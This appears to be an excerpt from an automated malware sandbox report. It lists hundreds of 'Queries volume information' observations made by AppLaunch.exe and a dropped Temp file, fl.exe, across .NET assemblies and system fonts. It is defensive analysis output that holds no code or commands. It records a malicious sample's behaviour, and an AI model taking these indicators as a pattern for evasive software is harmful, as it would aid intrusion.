Source: 702d02cc220387cd8f2029520cde97bd3879a1e151b19.exe, 00000000.00000000.285654777.00000000012D0000.00000002.00020000.sdmp	Binary or memory string: Progmanlock

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IdentityModel\v4.0_4.0.0.0__b77a5c561934e089\System.IdentityModel.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\fl.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Runtime\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Runtime.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Globalization\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Globalization.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Resources.ResourceManager\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Resources.ResourceManager.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Reflection\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Reflection.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\arial.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\ariali.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\arialbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\arialbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\ARIALN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\ariblk.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\ARIALNI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\ARIALNB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\ARIALNBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\calibri.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\calibril.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\calibrii.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\calibrili.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\calibrib.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\calibriz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\cambriai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\cambriab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\cambriaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\Candara.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\Candarai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\Candarab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\Candaraz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\comic.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\comici.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\comicbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\comicz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\consola.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\consolai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\consolab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\consolaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\constan.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\constani.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\constanb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\constanz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\corbel.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\corbeli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\corbelb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\corbelz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\cour.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\couri.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\courbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\courbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\ebrima.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\ebrimabd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\framd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\FRADM.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\framdit.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\FRADMIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\FRAMDCN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\FRADMCN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\FRAHV.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\FRAHVIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\Gabriola.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\gadugi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\gadugib.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\georgia.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\georgiai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\georgiab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\georgiaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\impact.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\Inkfree.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\javatext.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\LeelawUI.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\LeelUIsl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\LeelaUIb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\lucon.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\l_10646.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\malgun.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\malgunsl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\malgunbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\himalaya.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\ntailu.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\ntailub.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\phagspa.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\phagspab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\taile.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\taileb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\msyi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\monbaiti.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\mvboli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\mmrtext.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\mmrtextb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\Nirmala.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\NirmalaS.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\NirmalaB.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\pala.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\palai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\palab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\palabi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\segoepr.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\segoeprb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\segoesc.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\segoescb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\segoeuii.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\seguisli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\seguili.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\seguisbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\segoeuiz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\seguibl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\seguibli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\seguiemj.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\seguihis.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\seguisym.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\simsun.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\simsunb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\sylfaen.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\symbol.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\tahomabd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\timesi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\timesbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\timesbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\trebuc.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\trebucit.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\trebucbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\trebucbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\verdana.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\verdanai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\verdanab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\verdanaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\webdings.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\wingding.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\holomdl2.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\CENTURY.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\LEELAWAD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\LEELAWDB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\MSUIGHUR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\MSUIGHUB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\WINGDNG2.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\WINGDNG3.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\TEMPSITC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\PRISTINA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\PAPYRUS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\MISTRAL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\LHANDW.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\ITCKRIST.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\JUICE___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\FRSCRIPT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\FREESCPT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\BRADHITC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\OUTLOOK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\BKANT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\ANTQUAI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\ANTQUAB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\ANTQUABI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\GARA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\GARAIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\GARABD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\MTCORSVA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\GOTHIC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Fonts\GOTHICI.TTF VolumeInformation	Jump to behavior
